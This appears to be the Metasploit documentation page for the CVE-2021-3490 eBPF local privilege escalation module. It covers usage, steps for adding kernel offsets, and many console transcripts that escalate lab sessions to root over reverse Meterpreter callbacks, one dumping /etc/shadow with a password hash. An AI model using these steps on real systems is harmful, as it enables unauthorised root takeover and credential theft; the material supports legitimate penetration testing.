Linux eBPF ALU32 32-bit Invalid Bounds Tracking LPE - Metasploit
This page contains detailed information about how to use the exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
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- Module Overview
- Knowledge Base
- Vulnerable Application
- Verification Steps
- Options
- Scenarios
- Ubuntu 21.04 (with Linux 5.11.0-16-generic)
- Ubuntu 20.10 (with Linux 5.8.0-25-generic)
- Ubuntu 20.04.02 LTS (with Linux 5.8.0-43-generic)
- Fedora 32 with Linux Kernel 5.7.11-200
- Fedora 32 with Linux Kernel 5.8.8-200
- Fedora 32 Linux Kernel 5.9.8-100
- Fedora 32 Linux Kernel 5.10.12-100
- Fedora 34 with Linux Kernel 5.11.12-300
- Msfconsole Usage
- Error Messages
- Related Pull Requests
- References
- See Also
- Authors
- Version
Module Overview
Name: Linux eBPF ALU32 32-bit Invalid Bounds Tracking LPE
Module: exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
Source code: modules/exploits/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe.rb
Disclosure date: 2021-05-11
Last modification time: 2021-08-31 15:36:00 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2020-8835, CVE-2021-3490
Linux kernels from 5.7-rc1 prior to 5.13-rc4, 5.12.4, 5.11.21, and 5.10.37 are vulnerable to a bug in the eBPF verifier's verification of ALU32 operations in the scalar32_min_max_and function when performing AND operations, whereby under certain conditions the bounds of a 32 bit register would not be properly updated. This can be abused by attackers to conduct an out of bounds read and write in the Linux kernel and therefore achieve arbitrary code execution as the root user. The target system must be compiled with eBPF support and not have kernel.unprivileged_bpf_disabled set, which prevents unprivileged users from loading eBPF programs into the kernel. Note that if kernel.unprivileged_bpf_disabled is enabled this module can still be utilized to bypass protections such as SELinux, however the user must already be logged as a privileged user such as root.
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-os-down: Module may crash the OS, and the OS remains down.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
msf exploit(cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show targets
... a list of targets ...
msf exploit(cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set TARGET target-id
msf exploit(cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options
... show and set options ...
msf exploit(cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION session-id
msf exploit(cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
Linux kernels from 5.7-rc1 prior to 5.13-rc4, 5.12.4, 5.11.21, and
5.10.37 are vulnerable to a bug in the eBPF verifier's verification
of ALU32 operations in the scalar32_min_max_and function when performing
AND operations, whereby under certain conditions the bounds of a
32 bit register would not be properly updated.
This can be abused by attackers to conduct an out of bounds read
and write in the Linux kernel and therefore achieve arbitrary
code execution as the root user.
The target system must be compiled with eBPF support and not have
kernel.unprivileged_bpf_disabled set, which prevents unprivileged
users from loading eBPF programs into the kernel. Note that if
kernel.unprivileged_bpf_disabled is enabled this module can still be
utilized to bypass protections such as SELinux, however the user
must already be logged into the system as a privileged user such as root.
Vulnerable Targets
Ubuntu 20.04 (Focal Fossa) 5.8.x kernels prior to 5.8.0-53.60 Ubuntu 20.10 (Groovy Gorilla) 5.8.x kernels prior to 5.8.0-53.60 Ubuntu 21.04 (Hirsute Hippo) 5.11.x kernels prior to 5.11.0-17.18 Fedora kernel versions 5.x from 5.7.x up to but not including 5.11.20-300.
Adding New Targets
Credits for the following code go to Robert whose code I took from https://blog.sourcerer.io/writing-a-simple-linux-kernel-module-d9dc3762c234.
Save this in a file named lkm_example.c
#include
#include
#include
#include
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Robert W. Oliver II");
MODULE_DESCRIPTION("A simple example Linux module.");
MODULE_VERSION("0.01");
static int __init lkm_example_init(void) {
printk(KERN_INFO "cred offset: %lu\n", offsetof(struct task_struct, cred));
return 0;
}
static void __exit lkm_example_exit(void) {
printk(KERN_INFO "pid_links offset: %lu\n", offsetof(struct task_struct, pid_links));
}
module_init(lkm_example_init);
module_exit(lkm_example_exit);
In the same folder make a file named Makefile and paste this code into it:
obj-m += lkm_example.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Then run the following:
sudo apt-get install build-essential linux-headers-`uname -r`
make && sudo insmod lkm_example.ko && sudo rmmod lkm_example && sudo dmesg
Then find the output from the last two lines. It should look something like this:
[40219.507922] cred offset: 2776
[40219.519139] pid_links offset: 2440
Update external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/Makefile and add in a new line
like so, replacing FEDORA_KERNEL_5_10 with whatever name you prefer.
FEDORA_KERNEL_5_10:
$(CC) -DFEDORA_KERNEL_5_10 $(CMP)
Update external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/include/kernel_defs.h and include
the following two lines, replacing FEDORA_KERNEL_5_10 with the name you used in the step above.
#ifdef FEDORA_KERNEL_5_10
#define TASK_LIST_OFFSET 0x948
#endif
....
#ifdef FEDORA_KERNEL_5_10
#define TASK_CRED_OFFSET 0xAD0
#endif
The first number above should correspond to the number returned after pid_links offset, and the second number should
be the number after the text cred offset:.
Additionally if you are adding a kernel prior to 5.11.x to the targets, update the following line
and add || defined(<the name you used in earlier steps>) to the end of it.
#if defined(GROOVY) || defined(FEDORA_KERNEL_5_7) || defined(FEDORA_KERNEL_5_8) || defined(FEDORA_KERNEL_5_9) || defined(FEDORA_KERNEL_5_10)
uint64_t kref; /* From Linux kernel 5.11 this field was removed, however it is present in all previous versions.
See https://elixir.bootlin.com/linux/v5.11-rc1/source/include/linux/pid_namespace.h and
https://elixir.bootlin.com/linux/v5.10.60/source/include/linux/pid_namespace.h for a comparison */
Run make. If all goes well you should get a new binary at bin/exploit.bin. Move
this to data/exploits/cve-2021-3490/<target name and kernel version here>.bin.
Finally open up modules/exploits/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe.rb so that
it calls upload_and_chmodx for the new binary in the right situations.
Verification Steps
- Start
msfconsole - Gain a Linux Meterpreter shell on a target vulnerable system.
- Do:
use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe - Do:
set session #where the session number corresponds to the low privileged Meterpreter session you spawned earlier. - Do:
set LHOST <ip of your host> - Do:
set LPORT <port to connect back on> - Do:
exploit
Options
WritableDir
A folder we can write files to. Defaults to /tmp
CmdTimeout
The maximum number of seconds to wait for the exploit to run before we end up timing out. Increase this value if the exploit is timing out.
Scenarios
Ubuntu 21.04 (with Linux 5.11.0-16-generic)
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (linux/x64/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST no The target address
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > set RHOST 192.168.224.221
RHOST => 192.168.224.221
msf6 exploit(multi/handler) > run
[*] Started bind TCP handler against 192.168.224.221:4444
[*] Sending stage (3012548 bytes) to 192.168.224.221
[*] Meterpreter session 1 opened (192.168.224.128:41855 -> 192.168.224.221:4444) at 2021-08-17 17:37:31 -0500
meterpreter > sysinfo
Computer : 192.168.224.221
OS : Ubuntu 21.04 (Linux 5.11.0-16-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > shell
Process 4636 created.
Channel 1 created.
cat /etc/shadow
cat: /etc/shadow: Permission denied
exit
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux test @ ubuntu (uid=1000, gid=1000, euid=1000, 192.168.224.128:41855 -> 192.168.224.221:4444
egid=1000) @ 192.168.224.221 (192.168.224.221)
msf6 exploit(multi/handler) > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options
Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe):
Name Current Setting Required Description
---- --------------- -------- -----------
CmdTimeout 120 yes Maximum number of seconds to wait for the exploit to complete
SESSION yes The session to run this module on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.224.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit
[*] Started reverse TCP handler on 192.168.224.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.802fke5' (39352 bytes) ...
[*] Writing '/tmp/.75mogl0Vz6' (250 bytes) ...
[*] Launching exploit ...
[!] Note that things may appear to hang due to the exploit not exiting.
[!] Feel free to press CTRL+C if the shell is returned before 200 seconds are up.
[*] Sending stage (3012548 bytes) to 192.168.224.221
[+] Exploit completed successfully, shell should be returning soon!
[+] Deleted /tmp/.802fke5
[+] Deleted /tmp/.75mogl0Vz6
[*] Meterpreter session 2 opened (192.168.224.128:4444 -> 192.168.224.221:42170) at 2021-08-17 17:40:19 -0500
meterpreter > sysinfo
Computer : 192.168.224.221
OS : Ubuntu 21.04 (Linux 5.11.0-16-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > background
[*] Backgrounding session 2...
smsf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux test @ ubuntu (uid=1000, gid=1000, euid=1000, 192.168.224.128:41855 -> 192.168.224.221:4444
egid=1000) @ 192.168.224.221 (192.168.224.221)
2 meterpreter x64/linux root @ ubuntu (uid=0, gid=0, euid=0, egid=0) 192.168.224.128:4444 -> 192.168.224.221:42170
@ 192.168.224.221 (192.168.224.221)
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) >
Ubuntu 20.10 (with Linux 5.8.0-25-generic)
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (linux/x64/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST no The target address
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > set RHOST 192.168.224.220
RHOST => 192.168.224.220
msf6 exploit(multi/handler) > exploit
[*] Started bind TCP handler against 192.168.224.220:4444
[*] Sending stage (3012548 bytes) to 192.168.224.220
[*] Meterpreter session 1 opened (192.168.224.128:46051 -> 192.168.224.220:4444) at 2021-08-17 17:51:38 -0500
meterpreter > sysinfo
Computer : 192.168.224.220
OS : Ubuntu 20.10 (Linux 5.8.0-25-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: test @ ubuntu (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options
Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe):
Name Current Setting Required Description
---- --------------- -------- -----------
CmdTimeout 120 yes Maximum number of seconds to wait for the exploit to complete
SESSION yes The session to run this module on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.224.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > check
[*] The target appears to be vulnerable.
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit
[*] Started reverse TCP handler on 192.168.224.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.T0AUoK' (39400 bytes) ...
[*] Writing '/tmp/.R3N8FO' (250 bytes) ...
[*] Launching exploit...
[!] Note that things may appear to hang due to the exploit not exiting.
[!] Feel free to press CTRL+C if the shell is returned before 9000 seconds are up.
[*] Sending stage (3012548 bytes) to 192.168.224.220
[+] Exploit completed successfully, shell should be returning soon!
[+] Deleted /tmp/.T0AUoK
[+] Deleted /tmp/.R3N8FO
[*] Meterpreter session 2 opened (192.168.224.128:4444 -> 192.168.224.220:47914) at 2021-08-31 14:58:43 -0500
meterpreter >
meterpreter > sysinfo
Computer : 192.168.224.220
OS : Ubuntu 20.10 (Linux 5.8.0-25-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux test @ ubuntu (uid=1000, gid=1000, euid=1000, 192.168.224.128:46051 -> 192.168.224.220:4444
egid=1000) @ 192.168.224.220 (192.168.224.220)
2 meterpreter x64/linux root @ ubuntu (uid=0, gid=0, euid=0, egid=0) 192.168.224.128:4444 -> 192.168.224.220:47878
@ 192.168.224.220 (192.168.224.220)
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) >
Ubuntu 20.04.02 LTS (with Linux 5.8.0-43-generic)
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (linux/x64/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST no The target address
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > set RHOST 192.168.224.222
RHOST => 192.168.224.222
msf6 exploit(multi/handler) > exploit
[*] Started bind TCP handler against 192.168.224.222:4444
[*] Sending stage (3012548 bytes) to 192.168.224.222
[*] Meterpreter session 1 opened (192.168.224.128:44433 -> 192.168.224.222:4444) at 2021-08-19 14:15:49 -0500
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > previous
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options
Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe):
Name Current Setting Required Description
---- --------------- -------- -----------
CmdTimeout 120 yes Maximum number of seconds to wait for the exploit to complete
SESSION yes The session to run this module on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.224.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > check
[*] The target appears to be vulnerable.
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit
[*] Started reverse TCP handler on 192.168.224.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.RyfMnlY' (39352 bytes) ...
[*] Writing '/tmp/.7JmBQ1nu58' (250 bytes) ...
[*] Launching exploit ...
[!] Note that things may appear to hang due to the exploit not exiting.
[!] Feel free to press CTRL+C if the shell is returned before 200 seconds are up.
[*] Sending stage (3012548 bytes) to 192.168.224.222
[+] Exploit completed successfully, shell should be returning soon!
[+] Deleted /tmp/.RyfMnlY
[+] Deleted /tmp/.7JmBQ1nu58
[*] Meterpreter session 2 opened (192.168.224.128:4444 -> 192.168.224.222:48204) at 2021-08-19 14:17:12 -0500
meterpreter > sysinfo
Computer : 192.168.224.222
OS : Ubuntu 20.04 (Linux 5.8.0-43-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux test @ ubuntu (uid=1000, gid=1000, euid=1000, 192.168.224.128:44433 -> 192.168.224.222:4444
egid=1000) @ 192.168.224.222 (192.168.224.222)
2 meterpreter x64/linux root @ ubuntu (uid=0, gid=0, euid=0, egid=0) 192.168.224.128:4444 -> 192.168.224.222:48204
@ 192.168.224.222 (192.168.224.222)
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) >
Fedora 32 with Linux Kernel 5.7.11-200
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (linux/x64/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST no The target address
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > set RHOST 192.168.224.223
RHOST => 192.168.224.223
msf6 exploit(multi/handler) > exploit
[*] Started bind TCP handler against 192.168.224.223:4444
[*] Sending stage (3012548 bytes) to 192.168.224.223
[*] Meterpreter session 1 opened (192.168.224.128:41579 -> 192.168.224.223:4444) at 2021-08-20 13:29:30 -0500
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Fedora 32 (Linux 5.7.11-200.fc32.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: test @ localhost.localdomain (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > shell
Process 2100 created.
Channel 1 created.
cat /etc/shadow
cat: /etc/shadow: Permission denied
^Z
Background channel 1? [y/N] y
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options
Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe):
Name Current Setting Required Description
---- --------------- -------- -----------
CmdTimeout 120 yes Maximum number of seconds to wait for the exploit to complete
SESSION yes The session to run this module on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.224.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > check
[*] The target appears to be vulnerable.
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit
[*] Started reverse TCP handler on 192.168.224.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.VBiCx' (39352 bytes) ...
[*] Writing '/tmp/.KqjrGX5' (250 bytes) ...
[*] Launching exploit ...
[!] Note that things may appear to hang due to the exploit not exiting.
[!] Feel free to press CTRL+C if the shell is returned before 200 seconds are up.
[*] Sending stage (3012548 bytes) to 192.168.224.223
[+] Exploit completed successfully, shell should be returning soon!
[+] Deleted /tmp/.VBiCx
[+] Deleted /tmp/.KqjrGX5
[*] Meterpreter session 2 opened (192.168.224.128:4444 -> 192.168.224.223:54884) at 2021-08-20 13:33:38 -0500
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] exploit: Interrupted
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux test @ localhost.localdomain (uid=1000, gid=1 192.168.224.128:41579 -> 192.168.224.223:4444
000, euid=1000, egid=1000) @ loc... (192.168.224.223)
2 meterpreter x64/linux root @ localhost.localdomain (uid=0, gid=0, e 192.168.224.128:4444 -> 192.168.224.223:54884
uid=0, egid=0) @ localhost.local... (192.168.224.223)
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: root @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0)
meterpreter > shell
Process 2148 created.
Channel 1 created.
cat /etc/shadow
root:!::0:99999:7:::
bin:*:18292:0:99999:7:::
daemon:*:18292:0:99999:7:::
adm:*:18292:0:99999:7:::
lp:*:18292:0:99999:7:::
sync:*:18292:0:99999:7:::
shutdown:*:18292:0:99999:7:::
halt:*:18292:0:99999:7:::
mail:*:18292:0:99999:7:::
operator:*:18292:0:99999:7:::
games:*:18292:0:99999:7:::
ftp:*:18292:0:99999:7:::
nobody:*:18292:0:99999:7:::
systemd-coredump:!!:18374::::::
systemd-network:!!:18374::::::
systemd-resolve:!!:18374::::::
dbus:!!:18374::::::
tss:!!:18374::::::
qemu:!!:18374::::::
gluster:!!:18374::::::
polkitd:!!:18374::::::
rtkit:!!:18374::::::
pulse:!!:18374::::::
systemd-timesync:!!:18374::::::
avahi:!!:18374::::::
pipewire:!!:18374::::::
chrony:!!:18374::::::
unbound:!!:18374::::::
usbmuxd:!!:18374::::::
dnsmasq:!!:18374::::::
geoclue:!!:18374::::::
saslauth:!!:18374::::::
radvd:!!:18374::::::
rpc:!!:18374:0:99999:7:::
apache:!!:18374::::::
colord:!!:18374::::::
rpcuser:!!:18374::::::
openvpn:!!:18374::::::
nm-openvpn:!!:18374::::::
abrt:!!:18374::::::
nm-openconnect:!!:18374::::::
flatpak:!!:18374::::::
gdm:!!:18374::::::
gnome-initial-setup:!!:18374::::::
sshd:!!:18374::::::
vboxadd:!!:18374::::::
tcpdump:!!:18374::::::
test:$6$qUS1ahlM0hqfNoyO$TZO8sUu1btvp4XRhqjy4Cetjm1LZ3DOWZDqfx8OPfB4QXjmiK5EPQmBW.TT0CJpSQBsanT0u9xokn1NtGepas/:18859:0:99999:7:::
Fedora 32 with Linux Kernel 5.8.8-200
msf6 > use multi/handler
s[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 192.168.224.223
RHOST => 192.168.224.223
msf6 exploit(multi/handler) > run
[*] Started bind TCP handler against 192.168.224.223:4444
[*] Sending stage (3012548 bytes) to 192.168.224.223
[*] Meterpreter session 1 opened (192.168.224.128:35689 -> 192.168.224.223:4444) at 2021-08-20 14:45:57 -0500
meterpreter > getuid
Server username: test @ localhost.localdomain (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > background
[*] Backgrounding session 1...
smsf6 exploit(multi/handler) >use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options
Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe):
Name Current Setting Required Description
---- --------------- -------- -----------
CmdTimeout 120 yes Maximum number of seconds to wait for the exploit to complete
SESSION 1 yes The session to run this module on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.224.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > check
[*] The target appears to be vulnerable.
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit
[*] Started reverse TCP handler on 192.168.224.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.6y6Ws' (39352 bytes) ...
[*] Writing '/tmp/.SYYFfC' (250 bytes) ...
[*] Launching exploit ...
[!] Note that things may appear to hang due to the exploit not exiting.
[!] Feel free to press CTRL+C if the shell is returned before 200 seconds are up.
[*] Sending stage (3012548 bytes) to 192.168.224.223
[+] Exploit completed successfully, shell should be returning soon!
[+] Deleted /tmp/.6y6Ws
[+] Deleted /tmp/.SYYFfC
[*] Meterpreter session 2 opened (192.168.224.128:4444 -> 192.168.224.223:37368) at 2021-08-20 14:47:44 -0500
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] exploit: Interrupted
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux test @ localhost.localdomain (uid=1000, gid=1 192.168.224.128:35689 -> 192.168.224.223:4444
000, euid=1000, egid=1000) @ loc... (192.168.224.223)
2 meterpreter x64/linux root @ localhost.localdomain (uid=0, gid=0, e 192.168.224.128:4444 -> 192.168.224.223:37368
uid=0, egid=0) @ localhost.local... (192.168.224.223)
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > shell
Process 3170 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root),10(wheel),1000(test) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uname -a
Linux localhost.localdomain 5.8.8-200.fc32.x86_64 #1 SMP Wed Sep 9 19:31:09 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
Fedora 32 Linux Kernel 5.9.8-100
msf6 exploit(multi/handler) > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set session 1
session => 1
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options
Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe):
Name Current Setting Required Description
---- --------------- -------- -----------
CmdTimeout 120 yes Maximum number of seconds to wait for the exploit to complete
SESSION 1 yes The session to run this module on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.224.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > check
[*] The target appears to be vulnerable.
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set VERBOSE true
VERBOSE => true
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit
[*] Started reverse TCP handler on 192.168.224.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Unprivileged BPF loading is permitted
[+] Kernel version 5.9.8-100.fc32.x86_64 appears to be vulnerable
[+] Kernel config has CONFIG_BPF_SYSCALL enabled
[+] The target appears to be vulnerable.
[*] Dropping pre-compiled exploit on system...
[*] Writing '/tmp/.RRaKt' (39352 bytes) ...
[*] Writing '/tmp/.yYaQKj' (250 bytes) ...
[*] Launching exploit ...
[!] Note that things may appear to hang due to the exploit not exiting.
[!] Feel free to press CTRL+C if the shell is returned before 200 seconds are up.
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3012548 bytes) to 192.168.224.223
[+] Exploit completed successfully, shell should be returning soon!
[+] Deleted /tmp/.RRaKt
